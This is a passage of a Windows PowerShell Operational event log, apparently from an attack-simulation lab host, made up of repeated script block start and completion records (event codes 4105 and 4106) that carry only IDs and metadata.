Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027399
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027398
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027397
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027396
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027395
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027394
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027393
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027392
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027391
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027390
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027389
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027388
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027387
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027386
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027385
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027384
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027383
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027382
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027381
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027380
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027379
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027378
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027377
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027376
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027375
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027374
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027373
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027372
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027371
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027370
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027369
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027368
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027367
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027366
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027365
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027364
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027363
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027362
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027361
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027360
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027359
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027358
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027357
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027356
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027355
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027354
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027353
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027352
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027351
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027350
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027349
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027348
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027347
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
